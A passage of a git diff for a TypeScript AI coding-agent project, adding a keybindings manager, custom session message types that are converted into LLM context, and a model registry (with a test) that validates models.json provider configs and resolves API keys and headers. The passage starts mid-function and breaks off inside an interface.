orderKeybindingsConfig(config: Record): Record { + const ordered: Record = {}; + for (const keybinding of Object.keys(KEYBINDINGS)) { + if (Object.hasOwn(config, keybinding)) { + ordered[keybinding] = config[keybinding]; + } + } + + const extras = Object.keys(config) + .filter((key) => !Object.hasOwn(ordered, key)) + .toSorted(); + for (const key of extras) { + ordered[key] = config[key]; + } + + return ordered; +} + +function loadRawConfig(path: string): Record | undefined { + if (!existsSync(path)) { + return undefined; + } + try { + const parsed = JSON.parse(readFileSync(path, "utf-8")) as unknown; + return isRecord(parsed) ? parsed : undefined; + } catch { + return undefined; + } +} + +export class KeybindingsManager extends TuiKeybindingsManager { + private configPath: string | undefined; + + constructor(userBindings: KeybindingsConfig = {}, configPath?: string) { + super(KEYBINDINGS, userBindings); + this.configPath = configPath; + } + + static create(agentDir: string = getAgentDir()): KeybindingsManager { + const configPath = join(agentDir, "keybindings.json"); + const userBindings = KeybindingsManager.loadFromFile(configPath); + return new KeybindingsManager(userBindings, configPath); + } + + reload(): void { + if (!this.configPath) { + return; + } + this.setUserBindings(KeybindingsManager.loadFromFile(this.configPath)); + } + + getEffectiveConfig(): KeybindingsConfig { + return this.getResolvedBindings(); + } + + private static loadFromFile(path: string): KeybindingsConfig { + const rawConfig = loadRawConfig(path); + if (!rawConfig) { + return {}; + } + return toKeybindingsConfig(migrateKeybindingsConfig(rawConfig).config); + } +} + +export type { Keybinding, KeyId, KeybindingsConfig }; diff --git a/src/agents/sessions/messages.ts b/src/agents/sessions/messages.ts new file mode 100644 index 00000000000..b21361c96ca --- /dev/null +++ b/src/agents/sessions/messages.ts @@ -0,0 +1,210 @@ +/** + * Custom message types and transformers for the coding agent. + * + * Extends the base AgentMessage type with coding-agent specific message types, + * and provides a transformer to convert them to LLM-compatible messages. + */ + +import type { ImageContent, Message, TextContent } from "../../llm/types.js"; +import type { AgentMessage } from "../runtime/index.js"; + +export const COMPACTION_SUMMARY_PREFIX = `The conversation history before this point was compacted into the following summary: + + +`; + +export const COMPACTION_SUMMARY_SUFFIX = ` +`; + +export const BRANCH_SUMMARY_PREFIX = `The following is a summary of a branch that this conversation came back from: + + +`; + +export const BRANCH_SUMMARY_SUFFIX = ``; + +/** + * Message type for bash executions via the ! command. + */ +export interface BashExecutionMessage { + role: "bashExecution"; + command: string; + output: string; + exitCode: number | undefined; + cancelled: boolean; + truncated: boolean; + fullOutputPath?: string; + timestamp: number; + /** If true, this message is excluded from LLM context (!! prefix) */ + excludeFromContext?: boolean; +} + +/** + * Message type for extension-injected messages via sendMessage(). + * These are custom messages that extensions can inject into the conversation. + */ +export interface CustomMessage { + role: "custom"; + customType: string; + content: string | (TextContent | ImageContent)[]; + display: boolean; + details?: T; + timestamp: number; +} + +export interface BranchSummaryMessage { + role: "branchSummary"; + summary: string; + fromId: string; + timestamp: number; +} + +export interface CompactionSummaryMessage { + role: "compactionSummary"; + summary: string; + tokensBefore: number; + timestamp: number; +} + +// Extend CustomAgentMessages via declaration merging +declare module "openclaw/plugin-sdk/agent-core" { + interface CustomAgentMessages { + bashExecution: BashExecutionMessage; + custom: CustomMessage; + branchSummary: BranchSummaryMessage; + compactionSummary: CompactionSummaryMessage; + } +} + +/** + * Convert a BashExecutionMessage to user message text for LLM context. + */ +export function bashExecutionToText(msg: BashExecutionMessage): string { + let text = `Ran \`${msg.command}\`\n`; + if (msg.output) { + text += `\`\`\`\n${msg.output}\n\`\`\``; + } else { + text += "(no output)"; + } + if (msg.cancelled) { + text += "\n\n(command cancelled)"; + } else if (msg.exitCode !== null && msg.exitCode !== undefined && msg.exitCode !== 0) { + text += `\n\nCommand exited with code ${msg.exitCode}`; + } + if (msg.truncated && msg.fullOutputPath) { + text += `\n\n[Output truncated. Full output: ${msg.fullOutputPath}]`; + } + return text; +} + +export function createBranchSummaryMessage( + summary: string, + fromId: string, + timestamp: string, +): BranchSummaryMessage { + return { + role: "branchSummary", + summary, + fromId, + timestamp: new Date(timestamp).getTime(), + }; +} + +export function createCompactionSummaryMessage( + summary: string, + tokensBefore: number, + timestamp: string, +): CompactionSummaryMessage { + return { + role: "compactionSummary", + summary: summary, + tokensBefore, + timestamp: new Date(timestamp).getTime(), + }; +} + +/** Convert CustomMessageEntry to AgentMessage format */ +export function createCustomMessage( + customType: string, + content: string | (TextContent | ImageContent)[], + display: boolean, + details: unknown, + timestamp: string, +): CustomMessage { + return { + role: "custom", + customType, + content, + display, + details, + timestamp: new Date(timestamp).getTime(), + }; +} + +/** + * Transform AgentMessages (including custom types) to LLM-compatible Messages. + * + * This is used by: + * - Agent's transormToLlm option (for prompt calls and queued messages) + * - Compaction's generateSummary (for summarization) + * - Custom extensions and tools + */ +export function convertToLlm(messages: AgentMessage[]): Message[] { + return messages + .map((m): Message | undefined => { + switch (m.role) { + case "bashExecution": + // Skip messages excluded from context (!! prefix) + if (m.excludeFromContext) { + return undefined; + } + return { + role: "user", + content: [{ type: "text", text: bashExecutionToText(m) }], + timestamp: m.timestamp, + }; + case "custom": { + const content = + typeof m.content === "string" + ? [{ type: "text" as const, text: m.content }] + : m.content; + return { + role: "user", + content, + timestamp: m.timestamp, + }; + } + case "branchSummary": + return { + role: "user", + content: [ + { + type: "text" as const, + text: BRANCH_SUMMARY_PREFIX + m.summary + BRANCH_SUMMARY_SUFFIX, + }, + ], + timestamp: m.timestamp, + }; + case "compactionSummary": + return { + role: "user", + content: [ + { + type: "text" as const, + text: COMPACTION_SUMMARY_PREFIX + m.summary + COMPACTION_SUMMARY_SUFFIX, + }, + ], + timestamp: m.timestamp, + }; + case "user": + case "assistant": + case "toolResult": + return m; + default: + // biome-ignore lint/correctness/noSwitchDeclarations: fine + m satisfies never; + return undefined; + } + }) + .filter((m) => m !== undefined); +} diff --git a/src/agents/sessions/model-registry.test.ts b/src/agents/sessions/model-registry.test.ts new file mode 100644 index 00000000000..702952f1686 --- /dev/null +++ b/src/agents/sessions/model-registry.test.ts @@ -0,0 +1,76 @@ +import { mkdtempSync, rmSync, writeFileSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import { afterEach, describe, expect, it } from "vitest"; +import { AuthStorage } from "./auth-storage.js"; +import { ModelRegistry } from "./model-registry.js"; + +let tempDirs: string[] = []; + +function writeModelsJson(contents: unknown): string { + const dir = mkdtempSync(join(tmpdir(), "openclaw-model-registry-")); + tempDirs.push(dir); + const file = join(dir, "models.json"); + writeFileSync(file, JSON.stringify(contents, null, 2), "utf-8"); + return file; +} + +afterEach(() => { + for (const dir of tempDirs.splice(0)) { + rmSync(dir, { recursive: true, force: true }); + } +}); + +describe("ModelRegistry models.json auth", () => { + it("accepts Bedrock AWS SDK auth without apiKey", async () => { + const modelsPath = writeModelsJson({ + providers: { + "amazon-bedrock": { + baseUrl: "https://bedrock-runtime.us-east-1.amazonaws.com", + api: "bedrock-converse-stream", + auth: "aws-sdk", + models: [ + { + id: "anthropic.claude-sonnet-4-5-20250929-v1:0", + name: "Claude Sonnet 4.5", + }, + ], + }, + }, + }); + + const registry = ModelRegistry.create(AuthStorage.inMemory(), modelsPath); + const model = registry.find("amazon-bedrock", "anthropic.claude-sonnet-4-5-20250929-v1:0"); + + expect(registry.getError()).toBeUndefined(); + expect(model).toBeDefined(); + expect(registry.getAvailable()).toEqual([model]); + await expect(registry.getApiKeyAndHeaders(model!)).resolves.toEqual({ + ok: true, + apiKey: undefined, + headers: undefined, + }); + expect(registry.getProviderAuthStatus("amazon-bedrock")).toEqual({ + configured: true, + source: "models_json_key", + label: "aws-sdk", + }); + }); + + it("still rejects api-key custom models without apiKey", () => { + const modelsPath = writeModelsJson({ + providers: { + custom: { + baseUrl: "https://models.example/v1", + api: "openai-responses", + models: [{ id: "example-model" }], + }, + }, + }); + + const registry = ModelRegistry.create(AuthStorage.inMemory(), modelsPath); + + expect(registry.getError()).toContain('Provider custom: "apiKey" is required'); + expect(registry.find("custom", "example-model")).toBeUndefined(); + }); +}); diff --git a/src/agents/sessions/model-registry.ts b/src/agents/sessions/model-registry.ts new file mode 100644 index 00000000000..f3eac53f882 --- /dev/null +++ b/src/agents/sessions/model-registry.ts @@ -0,0 +1,857 @@ +/** + * Model registry - manages configured/provider-owned models and API key resolution. + */ + +import { existsSync, readFileSync } from "node:fs"; +import { join } from "node:path"; +import { type Static, Type } from "typebox"; +import { Compile } from "typebox/compile"; +import type { TLocalizedValidationError } from "typebox/error"; +import { registerApiProvider } from "../../llm/api-registry.js"; +import { resetApiProviders } from "../../llm/providers/register-builtins.js"; +import { + type AnthropicMessagesCompat, + type Api, + type AssistantMessageEventStreamContract, + type Context, + type Model, + type OpenAICompletionsCompat, + type OpenAIResponsesCompat, + type SimpleStreamOptions, +} from "../../llm/types.js"; +import { registerOAuthProvider, resetOAuthProviders } from "../../llm/utils/oauth/index.js"; +import type { OAuthProviderInterface } from "../../llm/utils/oauth/types.js"; +import { getAgentDir } from "../config.js"; +import type { AuthStatus, AuthStorage } from "./auth-storage.js"; +import { BUILT_IN_PROVIDER_DISPLAY_NAMES } from "./provider-display-names.js"; +import { + clearConfigValueCache, + resolveConfigValueOrThrow, + resolveConfigValueUncached, + resolveHeadersOrThrow, +} from "./resolve-config-value.js"; + +// Schema for OpenRouter routing preferences +const PercentileCutoffsSchema = Type.Object({ + p50: Type.Optional(Type.Number()), + p75: Type.Optional(Type.Number()), + p90: Type.Optional(Type.Number()), + p99: Type.Optional(Type.Number()), +}); + +const OpenRouterRoutingSchema = Type.Object({ + allow_fallbacks: Type.Optional(Type.Boolean()), + require_parameters: Type.Optional(Type.Boolean()), + data_collection: Type.Optional(Type.Union([Type.Literal("deny"), Type.Literal("allow")])), + zdr: Type.Optional(Type.Boolean()), + enforce_distillable_text: Type.Optional(Type.Boolean()), + order: Type.Optional(Type.Array(Type.String())), + only: Type.Optional(Type.Array(Type.String())), + ignore: Type.Optional(Type.Array(Type.String())), + quantizations: Type.Optional(Type.Array(Type.String())), + sort: Type.Optional( + Type.Union([ + Type.String(), + Type.Object({ + by: Type.Optional(Type.String()), + partition: Type.Optional(Type.Union([Type.String(), Type.Null()])), + }), + ]), + ), + max_price: Type.Optional( + Type.Object({ + prompt: Type.Optional(Type.Union([Type.Number(), Type.String()])), + completion: Type.Optional(Type.Union([Type.Number(), Type.String()])), + image: Type.Optional(Type.Union([Type.Number(), Type.String()])), + audio: Type.Optional(Type.Union([Type.Number(), Type.String()])), + request: Type.Optional(Type.Union([Type.Number(), Type.String()])), + }), + ), + preferred_min_throughput: Type.Optional(Type.Union([Type.Number(), PercentileCutoffsSchema])), + preferred_max_latency: Type.Optional(Type.Union([Type.Number(), PercentileCutoffsSchema])), +}); + +// Schema for Vercel AI Gateway routing preferences +const VercelGatewayRoutingSchema = Type.Object({ + only: Type.Optional(Type.Array(Type.String())), + order: Type.Optional(Type.Array(Type.String())), +}); + +// Schema for thinking level support and provider-specific values +const ThinkingLevelMapValueSchema = Type.Union([Type.String(), Type.Null()]); +const ThinkingLevelMapSchema = Type.Object({ + off: Type.Optional(ThinkingLevelMapValueSchema), + minimal: Type.Optional(ThinkingLevelMapValueSchema), + low: Type.Optional(ThinkingLevelMapValueSchema), + medium: Type.Optional(ThinkingLevelMapValueSchema), + high: Type.Optional(ThinkingLevelMapValueSchema), + xhigh: Type.Optional(ThinkingLevelMapValueSchema), +}); + +const OpenAICompletionsCompatSchema = Type.Object({ + supportsStore: Type.Optional(Type.Boolean()), + supportsDeveloperRole: Type.Optional(Type.Boolean()), + supportsReasoningEffort: Type.Optional(Type.Boolean()), + supportsUsageInStreaming: Type.Optional(Type.Boolean()), + maxTokensField: Type.Optional( + Type.Union([Type.Literal("max_completion_tokens"), Type.Literal("max_tokens")]), + ), + requiresToolResultName: Type.Optional(Type.Boolean()), + requiresAssistantAfterToolResult: Type.Optional(Type.Boolean()), + requiresThinkingAsText: Type.Optional(Type.Boolean()), + requiresReasoningContentOnAssistantMessages: Type.Optional(Type.Boolean()), + thinkingFormat: Type.Optional( + Type.Union([ + Type.Literal("openai"), + Type.Literal("openrouter"), + Type.Literal("together"), + Type.Literal("deepseek"), + Type.Literal("zai"), + Type.Literal("qwen"), + Type.Literal("qwen-chat-template"), + ]), + ), + cacheControlFormat: Type.Optional(Type.Literal("anthropic")), + openRouterRouting: Type.Optional(OpenRouterRoutingSchema), + vercelGatewayRouting: Type.Optional(VercelGatewayRoutingSchema), + supportsStrictMode: Type.Optional(Type.Boolean()), + supportsLongCacheRetention: Type.Optional(Type.Boolean()), +}); + +const OpenAIResponsesCompatSchema = Type.Object({ + sendSessionIdHeader: Type.Optional(Type.Boolean()), + supportsLongCacheRetention: Type.Optional(Type.Boolean()), +}); + +const AnthropicMessagesCompatSchema = Type.Object({ + supportsEagerToolInputStreaming: Type.Optional(Type.Boolean()), + supportsLongCacheRetention: Type.Optional(Type.Boolean()), +}); + +const ProviderCompatSchema = Type.Union([ + OpenAICompletionsCompatSchema, + OpenAIResponsesCompatSchema, + AnthropicMessagesCompatSchema, +]); + +const ProviderAuthModeSchema = Type.Union([ + Type.Literal("api-key"), + Type.Literal("aws-sdk"), + Type.Literal("oauth"), + Type.Literal("token"), +]); +type ProviderAuthMode = Static; + +// Schema for custom model definition +// Most fields are optional with sensible defaults for local models (Ollama, LM Studio, etc.) +const ModelDefinitionSchema = Type.Object({ + id: Type.String({ minLength: 1 }), + name: Type.Optional(Type.String({ minLength: 1 })), + api: Type.Optional(Type.String({ minLength: 1 })), + baseUrl: Type.Optional(Type.String({ minLength: 1 })), + reasoning: Type.Optional(Type.Boolean()), + thinkingLevelMap: Type.Optional(ThinkingLevelMapSchema), + input: Type.Optional(Type.Array(Type.Union([Type.Literal("text"), Type.Literal("image")]))), + cost: Type.Optional( + Type.Object({ + input: Type.Number(), + output: Type.Number(), + cacheRead: Type.Number(), + cacheWrite: Type.Number(), + }), + ), + contextWindow: Type.Optional(Type.Number()), + maxTokens: Type.Optional(Type.Number()), + headers: Type.Optional(Type.Record(Type.String(), Type.String())), + compat: Type.Optional(ProviderCompatSchema), +}); + +const ProviderConfigSchema = Type.Object({ + name: Type.Optional(Type.String({ minLength: 1 })), + baseUrl: Type.Optional(Type.String({ minLength: 1 })), + apiKey: Type.Optional(Type.String({ minLength: 1 })), + auth: Type.Optional(ProviderAuthModeSchema), + api: Type.Optional(Type.String({ minLength: 1 })), + headers: Type.Optional(Type.Record(Type.String(), Type.String())), + compat: Type.Optional(ProviderCompatSchema), + authHeader: Type.Optional(Type.Boolean()), + models: Type.Optional(Type.Array(ModelDefinitionSchema)), +}); + +const ModelsConfigSchema = Type.Object({ + providers: Type.Record(Type.String(), ProviderConfigSchema), +}); + +const validateModelsConfig = Compile(ModelsConfigSchema); + +type ModelsConfig = Static; + +function formatValidationPath(error: TLocalizedValidationError): string { + if (error.keyword === "required") { + const requiredProperties = (error.params as { requiredProperties?: string[] }) + .requiredProperties; + const requiredProperty = requiredProperties?.[0]; + if (requiredProperty) { + const basePath = error.instancePath.replace(/^\//, "").replace(/\//g, "."); + return basePath ? `${basePath}.${requiredProperty}` : requiredProperty; + } + } + const path = error.instancePath.replace(/^\//, "").replace(/\//g, "."); + return path || "root"; +} + +function allowsMissingProviderApiKey(auth: ProviderAuthMode | undefined): boolean { + return auth === "aws-sdk" || auth === "oauth"; +} + +/** Strip `//` line comments and trailing commas from JSON, leaving string literals untouched. */ +function stripJsonComments(input: string): string { + return input + .replace(/"(?:\\.|[^"\\])*"|\/\/[^\n]*/g, (m) => (m[0] === '"' ? m : "")) + .replace(/"(?:\\.|[^"\\])*"|,(\s*[}\]])/g, (m, tail) => tail ?? (m[0] === '"' ? m : "")); +} + +interface ProviderRequestConfig { + apiKey?: string; + auth?: ProviderAuthMode; + headers?: Record; + authHeader?: boolean; +} + +export type ResolvedRequestAuth = + | { + ok: true; + apiKey?: string; + headers?: Record; + } + | { + ok: false; + error: string; + }; + +/** Result of loading custom models from models.json */ +interface CustomModelsResult { + models: Model[]; + error: string | undefined; +} + +function emptyCustomModelsResult(error?: string): CustomModelsResult { + return { models: [], error }; +} + +function mergeCompat( + baseCompat: Model["compat"], + overrideCompat: Model["compat"], +): Model["compat"] | undefined { + if (!overrideCompat) { + return baseCompat; + } + + const base = baseCompat; + const override = overrideCompat; + const merged = { ...base, ...override } as + | OpenAICompletionsCompat + | OpenAIResponsesCompat + | AnthropicMessagesCompat; + + const baseCompletions = base as OpenAICompletionsCompat | undefined; + const overrideCompletions = override as OpenAICompletionsCompat; + const mergedCompletions = merged as OpenAICompletionsCompat; + + if (baseCompletions?.openRouterRouting || overrideCompletions.openRouterRouting) { + mergedCompletions.openRouterRouting = { + ...baseCompletions?.openRouterRouting, + ...overrideCompletions.openRouterRouting, + }; + } + + if (baseCompletions?.vercelGatewayRouting || overrideCompletions.vercelGatewayRouting) { + mergedCompletions.vercelGatewayRouting = { + ...baseCompletions?.vercelGatewayRouting, + ...overrideCompletions.vercelGatewayRouting, + }; + } + + return merged as Model["compat"]; +} + +/** Clear the config value command cache. Exported for testing. */ +export const clearApiKeyCache = clearConfigValueCache; + +/** + * Model registry - loads and manages models, resolves API keys via AuthStorage. + */ +export class ModelRegistry { + private models: Model[] = []; + private providerRequestConfigs: Map = new Map(); + private modelRequestHeaders: Map> = new Map(); + private registeredProviders: Map = new Map(); + private loadError: string | undefined = undefined; + readonly authStorage: AuthStorage; + private modelsJsonPath: string | undefined; + + private constructor(authStorage: AuthStorage, modelsJsonPath: string | undefined) { + this.authStorage = authStorage; + this.modelsJsonPath = modelsJsonPath; + this.loadModels(); + } + + static create( + authStorage: AuthStorage, + modelsJsonPath: string = join(getAgentDir(), "models.json"), + ): ModelRegistry { + return new ModelRegistry(authStorage, modelsJsonPath); + } + + static inMemory(authStorage: AuthStorage): ModelRegistry { + return new ModelRegistry(authStorage, undefined); + } + + /** + * Reload models from disk (models.json). + */ + refresh(): void { + this.providerRequestConfigs.clear(); + this.modelRequestHeaders.clear(); + this.loadError = undefined; + + // Ensure dynamic API/OAuth registrations are rebuilt from current provider state. + resetApiProviders(); + resetOAuthProviders(); + + this.loadModels(); + + for (const [providerName, config] of this.registeredProviders.entries()) { + this.applyProviderConfig(providerName, config); + } + } + + /** + * Get any error from loading models.json (undefined if no error). + */ + getError(): string | undefined { + return this.loadError; + } + + private loadModels(): void { + // Load configured models and request settings from models.json + const { models: customModels, error } = this.modelsJsonPath + ? this.loadCustomModels(this.modelsJsonPath) + : emptyCustomModelsResult(); + + if (error) { + this.loadError = error; + // Keep the prior empty/default registry shape when models.json failed to load. + } + + let combined = customModels; + + // Let OAuth providers modify their models (e.g., update baseUrl) + for (const oauthProvider of this.authStorage.getOAuthProviders()) { + const cred = this.authStorage.get(oauthProvider.id); + if (cred?.type === "oauth" && oauthProvider.modifyModels) { + combined = oauthProvider.modifyModels(combined, cred); + } + } + + this.models = combined; + } + + private loadCustomModels(modelsJsonPath: string): CustomModelsResult { + if (!existsSync(modelsJsonPath)) { + return emptyCustomModelsResult(); + } + + try { + const content = readFileSync(modelsJsonPath, "utf-8"); + const parsed = JSON.parse(stripJsonComments(content)) as unknown; + + if (!validateModelsConfig.Check(parsed)) { + const errors = + validateModelsConfig + .Errors(parsed) + .map((error) => ` - ${formatValidationPath(error)}: ${error.message}`) + .join("\n") || "Unknown schema error"; + return emptyCustomModelsResult( + `Invalid models.json schema:\n${errors}\n\nFile: ${modelsJsonPath}`, + ); + } + + const config = parsed; + + // Additional validation + this.validateConfig(config); + + for (const [providerName, providerConfig] of Object.entries(config.providers)) { + if ((providerConfig.models ?? []).length > 0) { + this.storeProviderRequestConfig(providerName, providerConfig); + } + } + + return { models: this.parseModels(config), error: undefined }; + } catch (error) { + if (error instanceof SyntaxError) { + return emptyCustomModelsResult( + `Failed to parse models.json: ${error.message}\n\nFile: ${modelsJsonPath}`, + ); + } + return emptyCustomModelsResult( + `Failed to load models.json: ${error instanceof Error ? error.message : String(error)}\n\nFile: ${modelsJsonPath}`, + ); + } + } + + private validateConfig(config: ModelsConfig): void { + for (const [providerName, providerConfig] of Object.entries(config.providers)) { + const hasProviderApi = !!providerConfig.api; + const models = providerConfig.models ?? []; + + if (models.length === 0) { + continue; + } + + // Provider-owned/custom catalogs must be self-contained. + if (!providerConfig.baseUrl) { + throw new Error( + `Provider ${providerName}: "baseUrl" is required when defining custom models.`, + ); + } + if (!providerConfig.apiKey && !allowsMissingProviderApiKey(providerConfig.auth)) { + throw new Error( + `Provider ${providerName}: "apiKey" is required when defining custom models.`, + ); + } + + for (const modelDef of models) { + const hasModelApi = !!modelDef.api; + + if (!hasProviderApi && !hasModelApi) { + throw new Error( + `Provider ${providerName}, model ${modelDef.id}: no "api" specified. Set at provider or model level.`, + ); + } + + if (!modelDef.id) { + throw new Error(`Provider ${providerName}: model missing "id"`); + } + // Validate contextWindow/maxTokens only if provided (they have defaults) + if (modelDef.contextWindow !== undefined && modelDef.contextWindow <= 0) { + throw new Error(`Provider ${providerName}, model ${modelDef.id}: invalid contextWindow`); + } + if (modelDef.maxTokens !== undefined && modelDef.maxTokens <= 0) { + throw new Error(`Provider ${providerName}, model ${modelDef.id}: invalid maxTokens`); + } + } + } + } + + private parseModels(config: ModelsConfig): Model[] { + const models: Model[] = []; + + for (const [providerName, providerConfig] of Object.entries(config.providers)) { + const modelDefs = providerConfig.models ?? []; + if (modelDefs.length === 0) { + continue; + } + + for (const modelDef of modelDefs) { + const api = modelDef.api ?? providerConfig.api; + if (!api) { + continue; + } + + const baseUrl = modelDef.baseUrl ?? providerConfig.baseUrl; + if (!baseUrl) { + continue; + } + + const compat = mergeCompat(providerConfig.compat, modelDef.compat); + this.storeModelHeaders(providerName, modelDef.id, modelDef.headers); + + const defaultCost = { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }; + models.push({ + id: modelDef.id, + name: modelDef.name ?? modelDef.id, + api: api as Api, + provider: providerName, + baseUrl, + reasoning: modelDef.reasoning ?? false, + thinkingLevelMap: modelDef.thinkingLevelMap, + input: modelDef.input ?? ["text"], + cost: modelDef.cost ?? defaultCost, + contextWindow: modelDef.contextWindow ?? 128000, + maxTokens: modelDef.maxTokens ?? 16384, + headers: undefined, + compat, + } as Model); + } + } + + return models; + } + + /** + * Get all configured models. + */ + getAll(): Model[] { + return this.models; + } + + /** + * Get only models that have auth configured. + * This is a fast check that doesn't refresh OAuth tokens. + */ + getAvailable(): Model[] { + return this.models.filter((m) => this.hasConfiguredAuth(m)); + } + + /** + * Find a model by provider and ID. + */ + find(provider: string, modelId: string): Model | undefined { + return this.models.find((m) => m.provider === provider && m.id === modelId); + } + + /** + * Get API key for a model. + */ + hasConfiguredAuth(model: Model): boolean { + return ( + this.authStorage.hasAuth(model.provider) || + this.providerRequestConfigs.get(model.provider)?.auth === "aws-sdk" || + this.providerRequestConfigs.get(model.provider)?.apiKey !== undefined + ); + } + + private getModelRequestKey(provider: string, modelId: string): string { + return `${provider}:${modelId}`; + } + + private storeProviderRequestConfig( + providerName: string, + config: { + apiKey?: string; + auth?: ProviderAuthMode; + headers?: Record; + authHeader?: boolean; + }, + ): void { + if (!config.apiKey && !config.auth && !config.headers && !config.authHeader) { + return; + } + + this.providerRequestConfigs.set(providerName, { + apiKey: config.apiKey, + auth: config.auth, + headers: config.headers, + authHeader: config.authHeader, + }); + } + + private storeModelHeaders( + providerName: string, + modelId: string, + headers?: Record, + ): void { + const key = this.getModelRequestKey(providerName, modelId); + if (!headers || Object.keys(headers).length === 0) { + this.modelRequestHeaders.delete(key); + return; + } + this.modelRequestHeaders.set(key, headers); + } + + /** + * Get API key and request headers for a model. + */ + async getApiKeyAndHeaders(model: Model): Promise { + try { + const providerConfig = this.providerRequestConfigs.get(model.provider); + const usesAwsSdkAuth = providerConfig?.auth === "aws-sdk"; + const apiKeyFromAuthStorage = usesAwsSdkAuth + ? undefined + : await this.authStorage.getApiKey(model.provider, { + includeFallback: false, + }); + const apiKey = + apiKeyFromAuthStorage ?? + (!usesAwsSdkAuth && providerConfig?.apiKey + ? resolveConfigValueOrThrow( + providerConfig.apiKey, + `API key for provider "${model.provider}"`, + ) + : undefined); + + const providerHeaders = resolveHeadersOrThrow( + providerConfig?.headers, + `provider "${model.provider}"`, + ); + const modelHeaders = resolveHeadersOrThrow( + this.modelRequestHeaders.get(this.getModelRequestKey(model.provider, model.id)), + `model "${model.provider}/${model.id}"`, + ); + + let headers = + model.headers || providerHeaders || modelHeaders + ? { ...model.headers, ...providerHeaders, ...modelHeaders } + : undefined; + + if (providerConfig?.authHeader) { + if (!apiKey) { + return { ok: false, error: `No API key found for "${model.provider}"` }; + } + headers = { ...headers, Authorization: `Bearer ${apiKey}` }; + } + + return { + ok: true, + apiKey, + headers: headers && Object.keys(headers).length > 0 ? headers : undefined, + }; + } catch (error) { + return { + ok: false, + error: error instanceof Error ? error.message : String(error), + }; + } + } + + /** + * Return auth status for a provider, including request auth configured in models.json. + * This intentionally does not execute command-backed config values. + */ + getProviderAuthStatus(provider: string): AuthStatus { + const providerRequestConfig = this.providerRequestConfigs.get(provider); + if (providerRequestConfig?.auth === "aws-sdk") { + return { configured: true, source: "models_json_key", label: providerRequestConfig.auth }; + } + + const authStatus = this.authStorage.getAuthStatus(provider); + if (authStatus.source) { + return authStatus; + } + + const providerApiKey = providerRequestConfig?.apiKey; + if (!providerApiKey) { + return authStatus; + } + + if (providerApiKey.startsWith("!")) { + return { configured: true, source: "models_json_command" }; + } + + if (process.env[providerApiKey]) { + return { configured: true, source: "environment", label: providerApiKey }; + } + + return { configured: true, source: "models_json_key" }; + } + + /** + * Get display name for a provider. + */ + getProviderDisplayName(provider: string): string { + const registeredProvider = this.registeredProviders.get(provider); + const oauthProvider = this.authStorage.getOAuthProviders().find((p) => p.id === provider); + + return ( + registeredProvider?.name ?? + registeredProvider?.oauth?.name ?? + oauthProvider?.name ?? + BUILT_IN_PROVIDER_DISPLAY_NAMES[provider] ?? + provider + ); + } + + /** + * Get API key for a provider. + */ + async getApiKeyForProvider(provider: string): Promise { + const apiKey = await this.authStorage.getApiKey(provider, { includeFallback: false }); + if (apiKey !== undefined) { + return apiKey; + } + + const providerApiKey = this.providerRequestConfigs.get(provider)?.apiKey; + return providerApiKey ? resolveConfigValueUncached(providerApiKey) : undefined; + } + + /** + * Check if a model is using OAuth credentials (subscription). + */ + isUsingOAuth(model: Model): boolean { + const cred = this.authStorage.get(model.provider); + return cred?.type === "oauth"; + } + + /** + * Register a provider dynamically (from extensions). + * + * If provider has models: replaces all existing models for this provider. + * Provider-level request settings are stored for already-known models but + * never create implicit model rows. + * If provider has oauth: registers OAuth provider for /login support. + */ + registerProvider(providerName: string, config: ProviderConfigInput): void { + this.validateProviderConfig(providerName, config); + this.applyProviderConfig(providerName, config); + this.upsertRegisteredProvider(providerName, config); + } + + /** + * Unregister a previously registered provider. + * + * Removes the provider from the registry and reloads models from disk. + * Also resets dynamic OAuth and API stream registrations before reapplying + * remaining dynamic providers. + * Has no effect if the provider was never registered. + */ + unregisterProvider(providerName: string): void { + if (!this.registeredProviders.has(providerName)) { + return; + } + this.registeredProviders.delete(providerName); + this.refresh(); + } + + /** + * Upsert a provider config into registeredProviders. + * If the provider is already registered, defined values in the incoming config + * override existing ones; undefined values are preserved from the stored config. + * If the provider is not registered, the incoming config is stored as-is. + */ + private upsertRegisteredProvider(providerName: string, config: ProviderConfigInput): void { + const existing = this.registeredProviders.get(providerName); + if (!existing) { + this.registeredProviders.set(providerName, config); + return; + } + for (const k of Object.keys(config) as (keyof ProviderConfigInput)[]) { + if (config[k] !== undefined) { + (existing as Record)[k] = config[k]; + } + } + } + + private validateProviderConfig(providerName: string, config: ProviderConfigInput): void { + if (config.streamSimple && !config.api) { + throw new Error(`Provider ${providerName}: "api" is required when registering streamSimple.`); + } + + if (!config.models || config.models.length === 0) { + return; + } + + if (!config.baseUrl) { + throw new Error(`Provider ${providerName}: "baseUrl" is required when defining models.`); + } + if (!config.apiKey && !config.oauth && !allowsMissingProviderApiKey(config.auth)) { + throw new Error( + `Provider ${providerName}: "apiKey" or "oauth" is required when defining models.`, + ); + } + + for (const modelDef of config.models) { + const api = modelDef.api || config.api; + if (!api) { + throw new Error(`Provider ${providerName}, model ${modelDef.id}: no "api" specified.`); + } + } + } + + private applyProviderConfig(providerName: string, config: ProviderConfigInput): void { + // Register OAuth provider if provided + if (config.oauth) { + // Ensure the OAuth provider ID matches the provider name + const oauthProvider: OAuthProviderInterface = { + ...config.oauth, + id: providerName, + }; + registerOAuthProvider(oauthProvider); + } + + if (config.streamSimple) { + const streamSimple = config.streamSimple; + registerApiProvider( + { + api: config.api!, + stream: (model, context, options) => + streamSimple(model, context, options as SimpleStreamOptions), + streamSimple, + }, + `provider:${providerName}`, + ); + } + + this.storeProviderRequestConfig(providerName, config); + + if (config.models && config.models.length > 0) { + // Full replacement: remove existing models for this provider + this.models = this.models.filter((m) => m.provider !== providerName); + + // Parse and add new models + for (const modelDef of config.models) { + const api = modelDef.api || config.api; + this.storeModelHeaders(providerName, modelDef.id, modelDef.headers); + + this.models.push({ + id: modelDef.id, + name: modelDef.name, + api: api as Api, + provider: providerName, + baseUrl: modelDef.baseUrl ?? config.baseUrl!, + reasoning: modelDef.reasoning, + thinkingLevelMap: modelDef.thinkingLevelMap, + input: modelDef.input, + cost: modelDef.cost, + contextWindow: modelDef.contextWindow, + maxTokens: modelDef.maxTokens, + headers: undefined, + compat: modelDef.compat, + } as Model); + } + + // Apply OAuth modifyModels if credentials exist (e.g., to update baseUrl) + if (config.oauth?.modifyModels) { + const cred = this.authStorage.get(providerName); + if (cred?.type === "oauth") { + this.models = config.oauth.modifyModels(this.models, cred); + } + } + } + } +} + +/** + * Input type for registerProvider API. + */ +export interface ProviderConfigInput { + name?: string; + 